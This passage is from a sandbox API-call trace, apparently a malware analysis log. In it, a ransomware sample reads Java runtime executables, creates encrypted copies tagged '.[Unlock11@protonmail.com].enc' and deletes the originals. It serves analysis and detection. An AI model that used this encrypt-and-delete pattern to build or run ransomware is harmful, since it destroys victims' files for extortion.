FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.031] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.031] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.031] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.031] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.031] GetLastError () returned 0x0 [0125.031] GetCurrentThreadId () returned 0x9b0 [0125.031] GetLastError () returned 0x0 [0125.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654b8 | out: hHeap=0x2ad0000) returned 1 [0125.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0125.031] GetLastError () returned 0x0 [0125.032] GetLastError () returned 0x0 [0125.032] GetLastError () returned 0x0 [0125.032] GetLastError () returned 0x0 [0125.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32654b8 [0125.032] GetLastError () returned 0x0 [0125.032] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0125.033] GetFileType (hFile=0x3ac) returned 0x1 [0125.033] GetLastError () returned 0x0 [0125.033] GetCurrentThreadId () returned 0x9b0 [0125.033] GetLastError () returned 0x0 [0125.033] GetFileType (hFile=0x3ac) returned 0x1 [0125.033] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.033] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.033] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.033] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.033] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.033] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.033] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.034] GetLastError () returned 0x0 [0125.034] GetCurrentThreadId () returned 0x9b0 [0125.034] GetLastError () returned 0x0 [0125.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654b8 | out: hHeap=0x2ad0000) returned 1 [0125.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0125.034] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0125.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0125.034] GetLastError () returned 0x0 [0125.034] GetLastError () returned 0x0 [0125.034] GetCurrentThreadId () returned 0x9b0 [0125.034] GetLastError () returned 0x0 [0125.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0125.035] GetLastError () returned 0x0 [0125.035] GetLastError () returned 0x0 [0125.035] GetCurrentThreadId () returned 0x9b0 [0125.035] GetLastError () returned 0x0 [0125.035] GetLastError () returned 0x0 [0125.037] GetLastError () returned 0x0 [0125.037] GetCurrentThreadId () returned 0x9b0 [0125.037] GetLastError () returned 0x0 [0125.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265498 | out: hHeap=0x2ad0000) returned 1 [0125.037] GetCurrentThreadId () returned 0x9b0 [0125.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x4058) returned 0x35c0a00 [0125.037] GetLastError () returned 0x0 [0125.038] GetCurrentThreadId () returned 0x9b0 [0125.039] GetCurrentThreadId () returned 0x9b0 [0125.039] GetCurrentThreadId () returned 0x9b0 [0125.039] CloseHandle (hObject=0x3ac) returned 1 [0125.040] GetCurrentThreadId () returned 0x9b0 [0125.040] CloseHandle (hObject=0x39c) returned 1 [0125.040] GetCurrentThreadId () returned 0x9b0 [0125.040] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 1 [0125.041] GetCurrentThreadId () returned 0x9b0 [0125.041] GetCurrentThreadId () returned 0x9b0 [0125.041] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe", lpFilePart=0x9bada4*="kinit.exe") returned 0x30 [0125.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0125.042] GetCurrentThreadId () returned 0x9b0 [0125.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0125.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0125.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0125.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5f00 [0125.042] GetCurrentThreadId () returned 0x9b0 [0125.042] GetCurrentThreadId () returned 0x9b0 [0125.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c60b8 [0125.042] GetCurrentThreadId () returned 0x9b0 [0125.042] GetCurrentThreadId () returned 0x9b0 [0125.043] GetCurrentThreadId () returned 0x9b0 [0125.043] GetCurrentThreadId () returned 0x9b0 [0125.043] GetCurrentThreadId () returned 0x9b0 [0125.043] GetCurrentThreadId () returned 0x9b0 [0125.043] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0125.043] GetCurrentThreadId () returned 0x9b0 [0125.043] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b0fc | out: pbBuffer=0x366b0fc) returned 1 [0125.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0125.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0125.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0125.044] GetCurrentThreadId () returned 0x9b0 [0125.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5e38 [0125.044] GetCurrentThreadId () returned 0x9b0 [0125.044] GetCurrentThreadId () returned 0x9b0 [0125.044] GetCurrentThreadId () returned 0x9b0 [0125.044] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0125.044] GetFileType (hFile=0x39c) returned 0x1 [0125.045] GetCurrentThreadId () returned 0x9b0 [0125.045] GetFileType (hFile=0x39c) returned 0x1 [0125.045] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.045] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.045] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.045] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.045] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.045] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.045] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.045] GetLastError () returned 0x0 [0125.045] GetCurrentThreadId () returned 0x9b0 [0125.045] GetLastError () returned 0x0 [0125.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654d8 | out: hHeap=0x2ad0000) returned 1 [0125.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0125.046] GetLastError () returned 0x0 [0125.046] GetLastError () returned 0x0 [0125.046] GetLastError () returned 0x0 [0125.046] GetLastError () returned 0x0 [0125.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0125.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32654d8 [0125.046] GetLastError () returned 0x0 [0125.046] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0125.047] GetFileType (hFile=0x3ac) returned 0x1 [0125.047] GetLastError () returned 0x0 [0125.047] GetCurrentThreadId () returned 0x9b0 [0125.047] GetLastError () returned 0x0 [0125.047] GetFileType (hFile=0x3ac) returned 0x1 [0125.047] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.047] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.047] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.047] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.047] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.048] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.048] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.048] GetLastError () returned 0x0 [0125.048] GetCurrentThreadId () returned 0x9b0 [0125.048] GetLastError () returned 0x0 [0125.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654d8 | out: hHeap=0x2ad0000) returned 1 [0125.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2568 | out: hHeap=0x2ad0000) returned 1 [0125.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0125.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.048] GetLastError () returned 0x0 [0125.048] GetLastError () returned 0x0 [0125.049] GetCurrentThreadId () returned 0x9b0 [0125.049] GetLastError () returned 0x0 [0125.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0125.049] GetLastError () returned 0x0 [0125.049] GetLastError () returned 0x0 [0125.049] GetCurrentThreadId () returned 0x9b0 [0125.049] GetLastError () returned 0x0 [0125.049] GetLastError () returned 0x0 [0125.051] GetLastError () returned 0x0 [0125.051] GetCurrentThreadId () returned 0x9b0 [0125.051] GetLastError () returned 0x0 [0125.051] GetCurrentThreadId () returned 0x9b0 [0125.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32654d8 [0125.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265498 | out: hHeap=0x2ad0000) returned 1 [0125.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x4058) returned 0x35c0a00 [0125.051] GetLastError () returned 0x0 [0125.051] GetLastError () returned 0x0 [0125.051] GetLastError () returned 0x0 [0125.052] GetLastError () returned 0x0 [0125.052] GetCurrentThreadId () returned 0x9b0 [0125.052] GetLastError () returned 0x0 [0125.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0125.052] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0125.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.052] GetLastError () returned 0x0 [0125.053] GetLastError () returned 0x0 [0125.053] GetCurrentThreadId () returned 0x9b0 [0125.053] GetLastError () returned 0x0 [0125.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc5a8 | out: hHeap=0x2ad0000) returned 1 [0125.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fc5a8 [0125.054] GetLastError () returned 0x0 [0125.054] GetLastError () returned 0x0 [0125.054] GetCurrentThreadId () returned 0x9b0 [0125.054] GetLastError () returned 0x0 [0125.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc5a8 | out: hHeap=0x2ad0000) returned 1 [0125.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.054] GetLastError () returned 0x0 [0125.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0125.055] CloseHandle (hObject=0x3ac) returned 1 [0125.055] GetLastError () returned 0x0 [0125.055] GetCurrentThreadId () returned 0x9b0 [0125.055] GetLastError () returned 0x0 [0125.055] GetLastError () returned 0x0 [0125.055] CloseHandle (hObject=0x39c) returned 1 [0125.055] GetLastError () returned 0x0 [0125.055] GetCurrentThreadId () returned 0x9b0 [0125.055] GetLastError () returned 0x0 [0125.056] GetLastError () returned 0x0 [0125.056] GetLastError () returned 0x0 [0125.056] GetLastError () returned 0x0 [0125.056] GetLastError () returned 0x0 [0125.056] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 1 [0125.057] GetLastError () returned 0x0 [0125.057] GetCurrentThreadId () returned 0x9b0 [0125.057] GetLastError () returned 0x0 [0125.057] GetCurrentThreadId () returned 0x9b0 [0125.057] GetLastError () returned 0x0 [0125.057] GetLastError () returned 0x0 [0125.058] GetLastError () returned 0x0 [0125.058] GetLastError () returned 0x0 [0125.058] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe", lpFilePart=0x9bada4*="klist.exe") returned 0x30 [0125.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0125.058] GetCurrentThreadId () returned 0x9b0 [0125.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0125.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0125.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5e38 [0125.058] GetLastError () returned 0x0 [0125.059] GetLastError () returned 0x0 [0125.059] GetLastError () returned 0x0 [0125.059] GetLastError () returned 0x0 [0125.059] GetCurrentThreadId () returned 0x9b0 [0125.059] GetLastError () returned 0x0 [0125.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5e38 | out: hHeap=0x2ad0000) returned 1 [0125.059] GetCurrentThreadId () returned 0x9b0 [0125.059] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0125.059] GetLastError () returned 0x0 [0125.059] GetLastError () returned 0x0 [0125.059] GetLastError () returned 0x0 [0125.060] GetLastError () returned 0x0 [0125.060] GetCurrentThreadId () returned 0x9b0 [0125.060] GetLastError () returned 0x0 [0125.060] GetLastError () returned 0x0 [0125.060] GetLastError () returned 0x0 [0125.060] GetLastError () returned 0x0 [0125.060] GetLastError () returned 0x0 [0125.060] GetCurrentThreadId () returned 0x9b0 [0125.060] GetLastError () returned 0x0 [0125.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0125.061] GetLastError () returned 0x0 [0125.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0125.061] GetLastError () returned 0x0 [0125.061] GetLastError () returned 0x0 [0125.061] GetLastError () returned 0x0 [0125.061] GetCurrentThreadId () returned 0x9b0 [0125.061] GetLastError () returned 0x0 [0125.061] GetCurrentThreadId () returned 0x9b0 [0125.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8ab28 [0125.061] GetLastError () returned 0x0 [0125.061] GetLastError () returned 0x0 [0125.061] GetLastError () returned 0x0 [0125.062] GetLastError () returned 0x0 [0125.062] GetCurrentThreadId () returned 0x9b0 [0125.062] GetLastError () returned 0x0 [0125.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab28 | out: hHeap=0x2ad0000) returned 1 [0125.062] GetLastError () returned 0x0 [0125.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0125.062] GetLastError () returned 0x0 [0125.062] GetLastError () returned 0x0 [0125.062] GetLastError () returned 0x0 [0125.062] GetCurrentThreadId () returned 0x9b0 [0125.062] GetLastError () returned 0x0 [0125.063] GetLastError () returned 0x0 [0125.063] GetLastError () returned 0x0 [0125.063] GetLastError () returned 0x0 [0125.063] GetLastError () returned 0x0 [0125.063] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.063] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0125.063] GetLastError () returned 0x0 [0125.063] GetCurrentThreadId () returned 0x9b0 [0125.063] GetLastError () returned 0x0 [0125.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0125.064] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b14c | out: pbBuffer=0x366b14c) returned 1 [0125.064] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0125.064] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0125.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0125.064] GetCurrentThreadId () returned 0x9b0 [0125.064] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fa0 [0125.064] GetLastError () returned 0x0 [0125.064] GetLastError () returned 0x0 [0125.064] GetLastError () returned 0x0 [0125.065] GetLastError () returned 0x0 [0125.065] GetCurrentThreadId () returned 0x9b0 [0125.065] GetLastError () returned 0x0 [0125.065] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5fa0 | out: hHeap=0x2ad0000) returned 1 [0125.065] GetCurrentThreadId () returned 0x9b0 [0125.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c6090 [0125.065] GetLastError () returned 0x0 [0125.065] GetLastError () returned 0x0 [0125.065] GetLastError () returned 0x0 [0125.065] GetLastError () returned 0x0 [0125.066] GetCurrentThreadId () returned 0x9b0 [0125.066] GetLastError () returned 0x0 [0125.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c6090 | out: hHeap=0x2ad0000) returned 1 [0125.066] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265498 [0125.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4720 | out: hHeap=0x2ad0000) returned 1 [0125.066] GetLastError () returned 0x0 [0125.066] GetLastError () returned 0x0 [0125.066] GetLastError () returned 0x0 [0125.066] GetLastError () returned 0x0 [0125.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.066] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32654e8 [0125.066] GetLastError () returned 0x0 [0125.067] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0125.067] GetFileType (hFile=0x39c) returned 0x1 [0125.067] GetLastError () returned 0x0 [0125.067] GetCurrentThreadId () returned 0x9b0 [0125.067] GetLastError () returned 0x0 [0125.067] GetFileType (hFile=0x39c) returned 0x1 [0125.067] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.067] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.067] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.068] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.068] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.068] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.068] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.068] GetLastError () returned 0x0 [0125.068] GetCurrentThreadId () returned 0x9b0 [0125.068] GetLastError () returned 0x0 [0125.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654e8 | out: hHeap=0x2ad0000) returned 1 [0125.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0125.068] GetLastError () returned 0x0 [0125.068] GetLastError () returned 0x0 [0125.068] GetLastError () returned 0x0 [0125.069] GetLastError () returned 0x0 [0125.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0125.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32654e8 [0125.069] GetLastError () returned 0x0 [0125.069] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0125.069] GetFileType (hFile=0x3ac) returned 0x1 [0125.069] GetLastError () returned 0x0 [0125.069] GetCurrentThreadId () returned 0x9b0 [0125.071] GetLastError () returned 0x0 [0125.071] GetFileType (hFile=0x3ac) returned 0x1 [0125.071] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.071] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.071] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.071] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.071] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.072] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.072] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.072] GetLastError () returned 0x0 [0125.072] GetCurrentThreadId () returned 0x9b0 [0125.072] GetLastError () returned 0x0 [0125.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654e8 | out: hHeap=0x2ad0000) returned 1 [0125.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2040 | out: hHeap=0x2ad0000) returned 1 [0125.072] GetCurrentThreadId () returned 0x9b0 [0125.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0125.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.072] GetLastError 